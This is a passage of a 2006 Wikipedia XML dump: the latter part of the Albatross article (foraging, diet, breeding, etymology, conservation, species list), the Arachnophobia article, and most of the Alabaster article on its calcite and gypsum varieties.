It is not known for certain why the albatrosses became [[extinct]] in the North [[Atlantic]], although rising sea levels due to an [[interglacial]] warming period are thought to have submerged the Short-tailed Albatross colony found in Bermuda&lt;ref&gt;Olson, S.L., Hearty, P.J. (2003) &quot;Probable extirpation of a breeding colony of Short-tailed Albatross (''Phoebastria albatrus'') on Bermuda by Pleistocene sea-level rise.&quot; ''Proceedings of the National Academy of Science'' '''100''': (22) 12825-12829.&lt;/ref&gt;. Some southern species that have occasionally turned up as [[vagrancy (biology)|vagrants]] in the North Atlantic have essentially become exiled and can remain there for decades. One of these exiles, a [[Black-browed Albatross]], returned to [[gannet]] colonies in [[Scotland]] for many years in a lonely attempt to breed&lt;ref name = &quot;Brit&quot;&gt;Cocker, M., &amp; Mabey, R., (2005) ''Birds Britannica'' London:Chatto &amp; Windus, ISBN 0-701-16907-9&lt;/ref&gt;.

The use of [[satellite tracking]] is teaching scientists a great deal about the way albatrosses forgae across the ocean in order to find food. They undertake no annual [[bird migration|migration]], but disperse widely after breeding, in the case of southern hemisphere species often undertaking circumpolar trips&lt;ref&gt;Croxall, J. P., Silk, J.R.D., Phillips, R.A., Afanasyev, V., Briggs, D.R., (2005) &quot;Global Circumnaviagtions: Tracking year-round ranges of nonbreeding Albatrosses&quot; ''Science'' '''307''': 249-250.&lt;/ref&gt;. There is also evidence that there is separation the ranges of different species at sea. Comparing the foraging [[niche]]s of two related species that breed on [[Campbell Island]], the [[Campbell Albatross]] and the [[Grey-headed Albatross]], the Campbell Albatross primarily fed over the [[Campbell Plateau]] whereas the the Grey-Headed Albatross fed over oceanic waters. [[Wandering Albatross]]es also react strongly to [[bathymetry]], feeding only in waters deeper than 1000m; so rigidly did the satellite plots match this contour that one scientist remarked &quot;it almost appears as if the birds notice and obey a 'No Entry' sign where the water shallows to less than 1000m&quot;&lt;ref name = &quot;Brooke&quot;&gt;Brooke, M. (2004).  ''Albatrosses And Petrels Across The World'': Procellariidae. Oxford University Press, Oxford, UK ISBN 0-19-850125-0&lt;/ref&gt;. There is also evidence of differing ranges for the sexes of the same species,  one study showed that male [[Wandering Albatross]]es forage further south than females.

===Diet===
The albatross diet is dominated by [[cephalopod]]s, [[fish]] and [[crustacean]]s, although they will also scavenge [[carrion]] and feed on other [[zooplankton]]&lt;ref name =&quot;tick&quot;&gt;Tickell, W.L.N. (2000). ''Albatrosses''.  Sussex:Pica Press, ISBN 1-873403-94-1&lt;/ref&gt;. It should be noted that for most species a comprehensive understanding of diet is only known for the breeding season, when the albatrosses are on land and study is possible. The importance of each of these varies from species to species, and even from population to population, some concentrate on [[squid]] alone, others take more krill, or fish. Of the two albatross species found in [[Hawaii]], one, the [[Black-footed Albatross]] takes mostly fish while the [[Laysan Albatross|Laysan]] feeds on squid. 

The use of dataloggers at sea that record ingestion of water against time (providing a likely time of feeding) suggest that albatross predominantly feed during the day. Analysis of the squid beaks regurgitated by albatrosses has shown that many of the squid eaten are too large to have been caught alive&lt;ref&gt;Croxall, J.P. &amp; Prince, P.A. (1994). &quot;Dead or alive, night or day: how do albatrosses catch squid?&quot; ''Antarctic Science'' '''6''': 155–162.&lt;/ref&gt;, and include mid-water species likely to be beyond the reach of albatross, suggesting that, for some species (like the [[Wandering Albatross]]), scavenged squid may be an important part of the diet. The source of these dead squid is a matter of debate, some certainly comes from squid [[fisheries]], but in nature it probably came from the die-off that occurs after squid spawning and the vomit of squid-eating [[whale]]s ([[sperm whale]]s, [[pilot whale]]s and [[Southern Bottlenose Whale]]s), or possibly some other source. The diet of other species, like the [[Black-browed Albatross]] or the [[Grey-headed Albatross]], is rich with smaller species of squid that tend to sink after death, and scavenging is not assumed to play a large role in their diet.  

Until recently it was thought that albatross were predominantly surface feeders, swimming at the surface and snapping up squid and fish pushed to the surface by currents, other predators or death. The deployment of capillary depth recorders, which record the maximum dive depth undertaken by a bird (between attaching it to a bird and recovering it when it returns to land), has shown that while some species, like the [[Wandering Albatross]], do not dive deeper than a metre, some species, like the [[Light-mantled Sooty Albatross]], have a mean diving depth of almost 5m and can dive as deep as 12.5 m&lt;ref&gt;Prince, P.A., Huin, N., Weimerskirch, H., (1994) &quot;Diving depths of albatrosses&quot; ''Antarctic Science'' '''6''': (''3'') 353-354.&lt;/ref&gt;. In addition to surface feeding and diving they have now also been observed plunge diving from the air to snatch prey&lt;ref&gt;Cobley, N.D., (1996) &quot;An observation of live prey capture by a Black-browed Albatross ''Diomedea melanophrys'' &quot; ''Marine Ornithology'' '''24''': 45-46.[http://www.marineornithology.org/PDF/24/24_10.pdf]&lt;/ref&gt;.

===Breeding===
[[Image:Diomedea epomorpha (Mattern).jpg|thumb|230px|right|Southern Royal Albatrosses nest on remote islands as well as on the Otago Peninsula in the city of Dunedin, New Zealand]]
Albatrosses are [[seabird colony|colonial]], usually nesting on isolated islands; where colonies are on larger landmasses they are found on exposed headlands with good approaches from the sea in several directions, like the colony on the [[Otago Peninsula]] in  [[Dunedin, New Zealand]]. Colonies vary from the very dense aggregations favoured by the mollymawks ([[Black-browed Albatross]] colonies on the [[Falkland Islands]] have densities of 70 nests per 100 m²) to the much looser groups and widely spaced individual nests favoured by the sooty and great albatrosses. All albatross colonies are on islands that historically were free of land [[mammal]]s. Albatrosses are highly [[philopatry|philopatric]], meaning they will usually return to their natal colony to breed. This tendency to return is so strong that a study of [[Laysan Albatross]] showed that that average distance between hatching site and the site a bird established its own territory was 22 m&lt;ref&gt;Fisher, H.I., (1976) &quot;Some dynamics of a breeding colony of Laysan Albatrosses.  ''Wilson Bulletin'' '''88''': 121-142.&lt;/ref&gt;. 

[[Image:Phoebastria irrorata NOAA mvey0649.jpg|thumb|left|250px|Bill clashing is one of the stereotyped actions of Waved Albatross breeding dances]]
Like most seabirds, albatrosses are [[K-selected]] with regard to their life-history, meaning they live much longer than other birds, they delay breeding for longer, and invest more effort into fewer young. Albatrosses are very long lived.  Most species survive upwards of 60 years, the oldest recorded being a [[Northern Royal Albatross]] that was [[Bird ringing|ringed]] as an adult and survived for another 51 years, giving it an estimated age of 61&lt;ref&gt;Robertson, C.J.R. (1993). &quot;Survival and longevity of the Northern Royal Albatross ''Diomedea epomophora sanfordi'' at Taiaroa Head&quot; 1937-93. ''Emu'' '''93''': 269-276.&lt;/ref&gt;. Given that most albatross ringing projects are considerably younger than that, is seems likely that other species will prove to live that long and even longer.

Albatrosses reach [[sexual maturity]] slowly, after about 5 years, but even once they have reached maturity they will not begin to breed for another couple of years (even up to 10 years for some species). Young non-breeders will still attend a colony prior to beginning to breed, spending many years practicing the elaborate breeding rituals and &quot;dances&quot; that the family is famous for&lt;ref&gt;Jouventin, P., Monicault, G. de &amp; Blosseville, J.M. (1981) &quot;La danse de l'albatros, ''Phoebetria fusca''&quot;. ''Behaviour'' '''78''':  43-80.&lt;/ref&gt;. Birds arriving back at the colony for the first time already have the stereotyped behaviours that compose albatross [[language]], but can neither &quot;read&quot; that behaviour as exhibited by other birds nor respond appropriately&lt;ref name =&quot;tick&quot;&gt;Tickell, W.L.N. (2000). ''Albatrosses''.  Sussex:Pica Press, ISBN 1-873403-94-1&lt;/ref&gt;. After a period of trial and error [[learning]], the young birds learn the [[syntax]] and perfect the dances. This language is mastered more rapidly if the younger birds are around older birds. 

The repertoire of behaviour involves synchronised performances of various actions such as [[preen]]ing, pointing, calling, bill clacking, staring, and combinations of such behaviours (like the sky-call)&lt;ref&gt;Pickering, S.P.C., &amp; Berrow, S.D., (2001) &quot;Courtship behaviour of the Wandering Albatross ''Diomedea exulans'' at Bird Island, South Georgia&quot; ''Marine Ornithology'' '''29''': 29-37 [http://www.marineornithology.org/PDF/29_1/29_1_6.pdf]&lt;/ref&gt;. As they progress the number of birds they interact with drops until they choose one partner. They then continue to perfect an individual language that will eventually be unique to that one pair. Having established a pair bond that will last for life, however, most of that dance will never be used ever again. The 'divorce' of a pair is a rare occurrence, usually only happening after several years of breeding failure. 

[[Image:Albatros_ceja_negra_-_paso_drake_-_noviembre_2005.jpg|thumb|250px|Black-browed albatross flying over the Drake Passage]]
The reason for the elaborate and painstaking rituals is to ensure that the correct partner has been chosen, and to perfect recognition of their partner, as egg laying and chick rearing is a huge investment, and even species that can complete an egg-laying cycle in under a year seldom lay eggs in consecutive years&lt;ref name = &quot;Brooke&quot;&gt;Brooke, M. (2004).  ''Albatrosses And Petrels Across The World'': Procellariidae. Oxford University Press, Oxford, UK ISBN 0-19-850125-0&lt;/ref&gt;. The great albatrosses (like the [[Wandering Albatross]]) take over a year to raise a chick from laying to [[fledge|fledging]]. Albatrosses lay a single [[egg (biology)|egg]]; if the egg is lost to predators or accidentally broken then no further breeding attempts are made that year.  

All the southern albatrosses create large [[nest]]s for their egg, whereas the three species in the north Pacific make more rudimentary nests. The [[Waved Albatross]], on the other hand, makes no nest and will even move its egg around the pair's territory, as much as 50 m, sometimes causing it to lose the egg&lt;ref&gt;Anderson, D.J. &amp; Cruz, F. (1998) &quot;Biology  and management of the Waved Albatross at the Galapagos Islands. Pp.105-109 in ''Albatross Biology and Conservation'' (Roberston , G. &amp; Gales, R. eds) Chipping Norton:Surrey Beatty and &amp; Sons ISBN: 0949324825 &lt;/ref&gt;. In all albatrosses species both parents [[incubate]] the egg, in stints that last between one day to three weeks. Incubation lasts around 70&amp;ndash;80 days (longer for the larger albatrosses), the longest incubation period of any bird. It can be an energetically demanding process, with the adult losing as much as 83 g of body weight a day&lt;ref&gt;Warham, J. (1990) ''The Petrels - Their Ecology and Breeding Systems'' London:Academic Press. &lt;/ref&gt;. 

After hatching the chick is brooded and guarded for three weeks until it is large enough to defend and [[thermoregulation|thermoregulate]] itself. During this period the chick is fed regularly with small meals by its parents when they relieve each other from duty. After the brooding period is over the chick is fed in regular intervals by both parents. The parents adopt alternative patterns of short and long foraging trips, providing meals that weigh around 12% of their body weight (around 600 g). The meals are composed of both fresh [[squid]], [[fish]] and [[krill]], as well as [[stomach oil]], an [[food energy|energy]]-rich food that is lighter to carry than undigested prey items&lt;ref&gt;Warham, J. (1976) &quot;The incidence, function and ecological significance of petrel stomach oils.&quot; ''Proceedings of the New Zealand Ecological Society'' '''24''': 84-93&lt;/ref&gt;. This oil is created in a stomach organ known as a proventriculus from digested prey items by all tubenoses, and gives them their distinctive musty smell.

Albatross chicks take a long time to fledge. In the case of the great albatrosses it can up to 280 days, even for the smaller albatrosses it takes anywhere between 170 and 140 days&lt;ref name =&quot;delhoyo&quot;&gt;Carboneras, C. (1992) &quot;Family Diomedeidae (Albatross)&quot; in ''Handbook of Birds of the World'' Vol 1. Barcelona:Lynx Edicions, ISBN 84-87334-10-5&lt;/ref&gt;. Like many seabirds, albatross chicks will actually gain enough weight to be heavier than their parents, and prior to fledging they use these reserves to build up body condition (particularly growing all their flight feathers), usually fledging at the same weight as their parents. Albatross chicks fledge on their own, and receive no further help from their parents, who will actually return to the nest after fledging, unaware their chick has left. Studies of juveniles dispersing at sea have suggested an innate migration behaviour, a genetically coded navigation route, that helps young birds first at sea&lt;ref&gt;Åkesson, S., &amp; Weimerskirch, H., (2005) &quot;Albatross Long-Distance Navigation: Comparing Adults And Juveniles&quot; ''Journal of Navigation'' '''58''': 365-373.&lt;/ref&gt;.

==Albatrosses and humans==
===Etymology===
The name albatross is derived from the [[Arabic language|Arabic]] ''al-câdous'', (a [[pelican]]), which travelled to English via the [[Portuguese language|Portuguese]] form ''Alcatraz''.  The [[Oxford English Dictionary|OED]] notes that the word ''alcatraz'' was originally applied to the [[frigatebird]]; the modification to ''albatross'' was perhaps influenced by [[Latin]] ''alba'' meaning &quot;white&quot;, in contrast to frigatebirds which are black.

They were once commonly known as '''Goonie birds''' or '''Gooney birds''', particularly those of the North [[Pacific]]. In the southern hemisphere the name '''mollymawk''' is still well established in some areas, which is a corrupted form of ''malle-mugge'', an old [[Dutch language|Dutch]] name for the [[Northern Fulmar]]. The name ''Diomedea'', assigned to the albatrosses by [[Carolus Linnaeus|Linnaeus]] references the mythical metamorphosis of the companions of the Greek warrior [[Diomedes]] into birds.

===Albatrosses and culture===
Albatrosses have been described as &quot;the most legendary of all birds&quot;&lt;ref name =&quot;delhoyo&quot;&gt;Carboneras, C. (1992) &quot;Family Diomedeidae (Albatross)&quot; in ''Handbook of Birds of the World'' Vol 1. Barcelona:Lynx Edicions, ISBN 84-87334-10-5&lt;/ref&gt;. They feature prominently in [[poetry]] such as the [[Samuel Taylor Coleridge]] poem ''[[The Rime of the Ancient Mariner]]''. In part due to the poem, there is a widespread [[urban legend|myth]] that sailors believe it disastrous to shoot or harm an albatross; in truth, however, sailors regularly killed and ate them&lt;ref name = &quot;Brit&quot;&gt;Cocker, M., &amp; Mabey, R., (2005) ''Birds Britannica'' London:Chatto &amp; Windus, ISBN 0-701-16907-9&lt;/ref&gt;. But they were often regarded as the souls of lost sailors. More recently they have become part of [[popular culture]], for example, in a [[Monty Python]] [[Albatross (Monty Python sketch)|sketch]], or the song [[Echoes (1971 song)|Echoes]] by [[Pink Floyd]]. In the movie ''[[Serenity_(film)|Serenity]]'', the character River was refered to as an albatross by The Operative, in the context of Coleridge's poem.

===Threats and conservation===
In spite of often being accorded legendary status by people albatrosses have not escaped both indirect and direct pressure from humanity. Early encounters with albatrosses by [[Polynesia]]ns and [[Aleut]] Indians resulted in hunting and in some cases expiration from some islands (such as [[Easter Island]]). As [[European]]s began sailing the world they too began to hunt albatross, &quot;fishing&quot; for them from boats to serve at the table or blasting them for sport&lt;ref&gt;Safina, C. (2002) ''Eye of the Albatross: Visions of Hope and Survival'' New York:Henry Holt &amp; Company ISBN: 0805062297&lt;/ref&gt;. This sport reached its peak on emigration lines bound for [[Australia]], and only died down when ships became too fast to fish from, and regulations stopped the discharge of weapons for safety reasons. In the 19th century, albatross colonies, particularly those in the North Pacific, were harvested for the feather trade, leading to the near extinction of the [[Short-tailed Albatross]].

According to the [[IUCN Red List]], 19 of the 21 albatross species are considered to have a [[conservation status]] as vulnerable or worse&lt;ref&gt;IUCN, 2004. [http://www.iucnredlist.org/search/search.php?freetext=Albatross&amp;modifier=phrase&amp;criteria=wholedb&amp;taxa_species=1&amp;redlistCategory%5B%5D=allex&amp;redlistAssessyear%5B%5D=all&amp;country%5B%5D=all&amp;aquatic%5B%5D=all&amp;regions%5B%5D=all&amp;habitats%5B%5D=all&amp;threats%5B%5D=all&amp;Submit.x=104&amp;Submit.y=16 Red List: Albatross Species].  Retrieved [[September 13]], [[2005]].&lt;/ref&gt;, partially due to the impact of commercial [[long-line fishing]]&lt;ref&gt;Brothers NP. 1991. &quot;Albatross mortality and associated bait loss in the Japanese longline fishery in the southern ocean.&quot; ''Biological Conservation'' '''55''': 255-268.&lt;/ref&gt;, as the albatrosses and other [[seabird]]s are attracted to the set bait, become hooked on the lines and drown. The scale of the problem is made worse by [[pirate]] fisheries, and an estimated 100,000 albatross are killed a year in this fashion. Two species (as recognised by the IUCN) are considered critically [[endangered species|endangered]], the [[Amsterdam Albatross]] and the [[Chatham Albatross]]. 

Another threat to albatrosses is [[introduced species]], which can be predators, like rats or [[feral cat]]s, directly attacking the albatross or its chicks and eggs; or they can have indirect effects, cattle overgrazed essential cover on [[Amsterdam Island]]; on other islands introduced plants reduce potential nesting habitat. 

[[Image:albab.jpg|thumb|200px|Black-browed Albatrosses are one of the many species threatened by long-line fisheries]]
Ingestion of floating [[plastic]] [[flotsam]] is another problem, one faced by many seabirds. The amount of plastic in the seas has increased dramatically since the first record in the 1960s, coming from waste discarded by ships, offshore dumping, litter on beaches and waste washed to sea by rivers. It is impossible to digest and takes up space in the stomach or [[gizzard]] that should be used for food, or can cause an obstruction that starves the bird directly. Studies of birds in the North Pacific have shown that ingestion of plastics results in declining [[body weight]] and body condition&lt;ref&gt;Spear, L.B., Ainley, D.G. &amp; Ribic, C.A. (1995). &quot;Incidence of plastic in seabirds from the tropical Pacific, 1984–91: relation with distribution of species, sex, age, season, year and body weight.&quot; ''Marine Environmental Research'' '''40''': 123–146. &lt;/ref&gt;. This plastic is sometimes regurgitated and fed to chicks; a study of [[Laysan Albatross]] chicks on [[Midway Atoll]] showed large amounts of ingested plastic in naturally dead chicks compared to healthy chicks killed in accidents&lt;ref&gt;Auman, H.J., Ludwig, J.P., Giesy, J.P., Colborn, T., (1997) &quot;Plastic ingestion by Laysan Albatross chicks on Sand Island, Midway Atoll, in 1994 and 1995.&quot; in ''Albatross Biology and Conservation'', (ed by G. Robinson and R. Gales). Surrey Beatty &amp; Sons:Chipping Norton. Pp. 239-44 [http://www.mindfully.org/Plastic/Ocean/Albatross-Plastic-Ingestion1997.htm]&lt;/ref&gt;. While not the direct cause of death, this plastic caused physiological stress and caused the chick to feel full during feedings, reducing its food intake and reducing the chances of survival.  

Scientists and conservationists (most importantly [[BirdLife International]] and their partners, who have run a Save the Albatross campaign) are working with governments and [[fishermen]] to find solutions to the threats albatrosses face. Techniques such as setting long-line bait at night, dying the bait blue, setting the bait underwater, increasing the amount of weight on lines and using bird scarers  can all reduce the by-catch in seabirds by fishing fleets&lt;ref&gt;Food and Agriculture Organisation (1999) &quot;The incidental catch of seabirds by longline fisheries: worldwide review and technical guidelines for mitigation. FAO Fisheries Circular No.937. Food and Agriculture Organization of the United Nations, Rome. [http://www.fao.org/documents/show_cdr.asp?url_file=/DOCREP/005/W9817E/W9817E00.HTM]&lt;/ref&gt;. For example, a collaborative study between scientists and fishermen in [[New Zealand]] successfully tested a underwater setting device for long-liners which set the lines below the reach of vulnerable  albatross species&lt;ref&gt;O'Toole, Decland &amp; Molloy, Janice (2000) &quot;Preliminary performance assessment of an underwater line setting device for pelagic longline fishing&quot; ''New Zealand Journal of Marine and Freshwater Research'' '''34''': 455-461. [http://www.rsnz.org/publish/nzjmfr/2000/36.pdf]&lt;/ref&gt;. The use of some of these techniques in the [[Patagonian Toothfish]] fishery in the [[Falkland Islands]] is thought to have reduced the number of [[Black-browed Albatross]] taken by the fleet in the last 10 years&lt;ref&gt;Reid, A.T., Sullivan, B.J., Pompert,J., Enticott, J.W., Black, A.D., (2004) &quot;Seabird mortality associated with Patagonian Toothfish (''Dissostichus eleginoides'') longliners in Falkland Islands waters.&quot; ''Emu'' '''104''': (4) 317-325.&lt;/ref&gt;. Conservationists have also worked on the field of [[island restoration]], removing introduced species that threaten native wildlife, which protects albatrosses from introduced predators.

One important step towards protecting albatrosses and other [[seabird]] is the 2001 [[treaty]] the [[Agreement on the Conservation of Albatrosses and Petrels]], which came into force in 2004 and has been ratified by eight countries, [[Australia]], [[Ecuador]], [[New Zealand]], [[Spain]], [[South Africa]], [[France]], [[Peru]] and the [[United Kingdom]]. This treaty requires specific actions to be taken by these countries to reduce by-catch, pollution and remove introduced species from nesting islands. The treaty has also been signed but not ratified by another three countries, [[Argentina]], [[Brazil]] and [[Chile]].

==Species==
Current thinking divides the albatrosses into four genera. The number of species is a matter of some debate, the [[IUCN]] and [[BirdLife International]] among others recognise 21 species, other authorities retain the more traditional 14 species:

*[[Great albatrosses]] (''Diomedea'')
**[[Wandering Albatross]] '' D. exulans''
**[[Antipodean Albatross]] ''D. (exulans) antipodensis''
**[[Amsterdam Albatross]] ''D. amsterdamensis''
**[[Tristan Albatross]] ''D. (exulans) dabbenena''
**[[Northern Royal Albatross]] ''D. (epomorpha) sanfordi''
**[[Southern Royal Albatross]] ''D. epomophora''

*[[North Pacific albatross]]es (''Phoebastria'')
**[[Waved Albatross]] ''P. irrorata''
**[[Short-tailed Albatross]] ''P. albatrus''
**[[Black-footed Albatross]] ''P. nigripes''
**[[Laysan Albatross]] ''P. immutabilis''

*[[Mollymawk]]s (''Thalassarche'')
**[[Black-browed Albatross]] ''T. melanophris ''
**[[Campbell Albatross]] ''T. (melanophris) impavida''
**[[Shy Albatross]] ''T. cauta''
**[[Chatham Albatross]] ''T. (cauta) eremita''
**[[Salvin's Albatross]] ''T. (cauta) salvini''
**[[Grey-headed Albatross]] ''T. chrysostoma'' 
**[[Atlantic Yellow-nosed Albatross]] ''T. chlororhynchos''
**[[Indian Yellow-nosed Albatross]] ''T. (chlororhynchos) carteri''
**[[Buller's Albatross]] ''T. bulleri'' 

*[[Sooty albatross]]es (''Phoebetria'')
**[[Dark-mantled Sooty Albatross]] ''P. fusca''
**[[Light-mantled Sooty Albatross]] ''P. palpebrata''.

==References==
&lt;references/&gt;

==External links==
* [http://www.birdonline.org/birds/albatross.htm Albatross resources from Bird Online] (North America)
* [http://www.itis.usda.gov/servlet/SingleRpt/SingleRpt?search_topic=TSN&amp;search_value=174514 ITIS] (Follows the AOU classification.)
* [http://web.uct.ac.za/depts/fitzpatrick/docs/listintro.html Roberts' VII Bird Species List] (South Africa.)
* [http://www.birdsaustralia.com.au/hanzab/HANZAB_spp_list.pdf HANZAB complete species list] (Handbook of Australian, New Zealand and Antarctic Birds.)
*[http://www.birdlife.net/action/campaigns/save_the_albatross/ Birdlife international Save the Albatross campaign]
* [http://www.acap.aq/ The Agreement for the Conservation of Albatrosses and Petrels (ACAP)]
* [http://www.montereybay.com/creagrus/albatrosses.html Albatross: Don Roberson's family page]

[[Category:Albatrosses|*]]
[[Category:Heraldic birds]]
[[Category:Seabirds]]

[[ar:قطرس]]
[[da:Albatrosser]]
[[de:Albatrosse]]
[[es:Albatros]]
[[fr:Diomedeinae]]
[[fy:Albatrossen]]
[[io:Albatroso]]
[[he:אלבטרוס לבן-כיפה]]
[[lt:Albatrosiniai]]
[[nl:Albatrossen]]
[[ja:アホウドリ亜科 (Sibley)]]
[[pl:Albatrosy]]
[[pt:Diomedeidae]]
[[fi:Albatrossit]]
[[sv:Albatrosser]]
[[tr:Albatros]]
[[uk:Альбатросові]]
[[zh:信天翁科]]</text>
    </revision>
  </page>
  <page>
    <title>Arachnophobia</title>
    <id>1386</id>
    <revision>
      <id>41588408</id>
      <timestamp>2006-02-28T09:19:56Z</timestamp>
      <contributor>
        <ip>213.130.122.51</ip>
      </contributor>
      <text xml:space="preserve">{{otheruses}}
'''Arachnophobia''' is a [[specific phobia]], an abnormal fear of [[spider (animal)|spiders]]. It is among the most common phobias. The reactions of arachnophobics often seem irrational to others (and sometimes to sufferers themselves, as well).  People with arachnophobia may stay away from any area they believe to be inhabited by numerous spiders or covered in spider webs. If they see a spider they may not enter the general vicinity until they overcome the panic attack that is often associated with it. Like most phobias the fear can be overcome by psychological treatments and through gradual exposure to the object. Another technique is 'flooding', in which the phobic person is suddenly exposed to a high intensity stimulus.

Arachnophobia is, in many cases, the result of a traumatizing encounter with spiders in one's early childhood, though the experience may not be remembered. Then, considering the extreme diversity of phobias, always inexplicable and sometimes exceedingly strange, (fear of carrot – as such and not as food – fear of glitter powder, and others.) One hypothesis states that while some phobias are the result of a traumatic event, most are the result of a random brain wiring that causes inexplicable fear at the sight of a seemingly innocuous thing or animal. The main phobias, such as arachnophobia, fear of spiders, [[claustrophobia]], stand out by their prevalence because they would have given over thousands of years a survival edge to sufferers and their offspring. Spiders, for instance, being relatively small, don’t fit the usual criteria for a threat in the animal kingdom where size is a key factor, but most species are [[Venom (poison)|venomous]], and some are lethal. Arachnophobics will spare no effort to make sure that their wherabouts are spider-free, hence reducing sharply the risk of being bitten.  
==Reference==
*Stiemerling D. ''Analysis of a spider and monster phobia'', Z. Psychosom Med Psychoanal. 1973 Oct-Dec;19(4):327-45. (in German)

[[Category:Phobias]]
[[Category:Spiders]]

[[da:Araknofobi]]
[[de:Arachnophobie]]
[[eo:Araneofobio]]
[[fr:Arachnophobie]]
[[he:&amp;#1488;&amp;#1512;&amp;#1499;&amp;#1504;&amp;#1493;&amp;#1508;&amp;#1493;&amp;#1489;&amp;#1497;&amp;#1492;]]
[[nl:Arachnofobie]]
[[pl:Arachnofobia]]
[[pt:Aracnofobia]]
[[sl:arahnofobija]]</text>
    </revision>
  </page>
  <page>
    <title>Alabaster</title>
    <id>1387</id>
    <revision>
      <id>40961906</id>
      <timestamp>2006-02-24T03:31:53Z</timestamp>
      <contributor>
        <username>Dogears</username>
        <id>733091</id>
      </contributor>
      <minor />
      <comment>/* See also */ + category</comment>
      <text xml:space="preserve">{| align=right
|[[image:alabaster.whole.600pix.jpg|thumb|200px|A modern uplighter lamp made completely from Italian alabaster (white and brown types). The base is 5 inches (13 cm) in diameter]]
|-
|[[image:alabaster.base.600pix.jpg|thumb|200px|Detail of base of alabaster lamp]]
|}

'''Alabaster''' (sometimes called '''satin spar''') is a name applied to varieties of two distinct [[mineral]]s: [[gypsum]] (a [[hydroxy|hydrous]] [[sulfur|sulfate]] of [[calcium]]) and the  [[calcite]] (a [[carbonate]] of calcium).  The former is the alabaster of the present day; the latter is generally the alabaster of the ancients. 

The two kinds are readily distinguished from each other by their relative '''hardnesses'''. The gypsum kind is so soft as to be readily scratched by a finger-nail ([[Mohs scale of mineral hardness|hardness]]  1.5 to 2), while the calcite kind is too hard to be scratched in this way (hardness 3), though it does yield readily to a knife. Moreover, the calcite alabaster, being a [[carbonate]], effervesces on being touched with [[hydrochloric acid]], whereas the gypsum alabaster, when so treated, remains practically unaffected. 

==Types==
=== Calcite Alabaster ===
This substance, the &quot;alabaster&quot; of the [[Bible]], is often termed ''Oriental alabaster'', since the early examples came from the [[Far East]]. The [[Greek language|Greek]] name ''alabastrites'' is said to be derived from the town of Alabastron, in [[Egypt]], where the stone was quarried, but the locality probably owed its name to the mineral; the origin of the mineral-name is obscure, and it has been suggested that it may have had an [[Arabic language|Arabic]] origin. This &quot;Oriental&quot; alabaster was highly esteemed for making small perfume-bottles or ointment vases called alabastra, and this has been conjectured to be a possible source of the name. Alabaster was also employed in Egypt for [[canopic jar]]s and various other sacred and sepulchral objects. A splendid [[sarcophagus]], sculptured in a single block of translucent calcite alabaster from Alabastron, is in the [[Soane Museum]], [[London]].  This was discovered by [[Giovanni Belzoni]] in [[1817]] in the tomb of [[Seti I]] near [[Thebes, Egypt|Thebes]]. It was purchased by Sir [[John Soane]], having previously been offered to the [[British Museum]].

When cut in thin sheets, alabaster is translucent enough to be used for small windows, and has been used so in [[medieval]] churches, especially in [[Italy]]. Large alabaster sheets are used extensively in the ''Cathedral of Our Lady of the Angels'' (dedicated 2002) of the [[Roman Catholic Archbishop of Los Angeles|Los Angeles (California) Archdiocese]]. The cathedral incorporates special cooling to prevent the panes from overheating and turning opaque.

Calcite alabaster is either a [[stalagmite|stalagmitic]] deposit, from the floor and walls of [[limestone]] [[cavern]]s, or a kind of [[travertine]], similarly deposited in springs of calcareous water. Its deposition in successive layers gives rise to the banded appearance that 
the marble often shows on cross-section, whence it is known as onyx-marble or alabaster-onyx, or sometimes simply as [[onyx]] &amp;ndash; a term which should, however, be restricted to siliceous 
minerals.  Egyptian alabaster has been extensively worked near [[Suez]] and near [[Assiut]]; there are many ancient quarries in the hills overlooking the plain of [[Tell el Amarna]].  The 
[[Algeria]]n onyx-marble has been largely quarried in the province of [[Oran]]. In [[Mexico]], there are famous deposits of a delicate green variety at [[La Pedrara]], in the district of [[Tecali]], near [[Puebla, Puebla|Puebla]]. Onyx-marble occurs also in the district of [[Tehuacán]] and at several localities in [[California]], [[Arizona]], [[Utah]], [[Colorado]] and [[Virginia]].

=== Gypsum Alabaster ===

In the present day, when the term &quot;alabaster&quot; is used without any qualification, it invariably means a fine-grained variety of gypsum.  This mineral, or alabaster proper, occurs in [[England]].  However, thousands of gypsum alabaster [[Artifact (archaeology)|artifact]]s dating to the late [[4th millennium BC]] have been found in [[Tell Brak]] (present day [[Nagar]]), in [[Syria]] [http://www.metmuseum.org/Works_of_Art/viewOne.asp?dep=3&amp;item=1988.323.8&amp;viewmode=0&amp;isHighlight=1].  And in [[Mesopotamia]], a gypsum alabaster [[sculpture]], believed to represent the god [[Abu]], dates to the first half of the [[3rd millennium BC]] [http://www.metmuseum.org/Works_of_Art/viewOne.asp?dep=3&amp;viewmode=0&amp;item=40%2E156].

Mineral alabaster occurs in [[England]] in the [[Keuper]] [[marl]]s of the [[Midlands]], especially at [[Chellaston]] in [[Derbyshire]], at [[Fauld]] in [[Staffordshire]] and near [[Newark, England|Newark]] in [[Nottinghamshire]].  At all these localities it has been extensively worked. Indeed, in the [[15th century]] its carving into [[icons]] and [[altarpiece]]s, was a valuable local industry in these areas, as well as a major English export.  Besides examples of these still in Britain (especially at the [[Nottingham Castle Museum]], [[British Museum]] and [[Victoria and Albert Museum]]), that trade in itself (rather than just the antiques trade) has scattered examples as far afield as the [[Musée de Cluny]] and ...........

Alabaster is also found, though in subordinate quantity, at [[Watchet]] in [[Somerset]], near [[Penarth]] in [[Glamorganshire]], and elsewhere.  In [[Cumbria]] it occurs largely in the New Red rocks, but at a lower geological horizon. The alabaster of Nottinghamshire and Derbyshire is found in 
thick nodular beds or &quot;floors&quot; in spheroidal masses known as &quot;balls&quot; or &quot;bowls,&quot; and in smaller lenticular masses termed &quot;cakes.&quot; At Chellaston, where the alabaster is known as &quot;Patrick,&quot; it has been worked into ornaments under the name of &quot;Derbyshire spar&quot; &amp;ndash; a term more properly applied to [[fluorspar]].  

[[image:alabaster-satin spar.jpg|thumb|200px|left|Unlike the lamp, this fine alabaster sculpture is untreated: Its translucency and satiny lustre are preserved. Its base is of marble.]]

The finer kinds of alabaster are largely employed as an [[ornamental stone]], especially for [[ecclesiastical]] decoration and for the rails of staircases and halls. Its softness enables it to be readily carved into elaborate forms, but its solubility in water renders it inapplicable to outdoor work.  The purest alabaster is a snow-white material of fine tiniforni grain, but it is often associated with an oxide of [[iron]], which produces brown clouding and veining in the stone. The coarser varieties of alabaster are converted by calcination into [[plaster of Paris]], whence they are sometimes known as &quot;plaster stone.&quot;

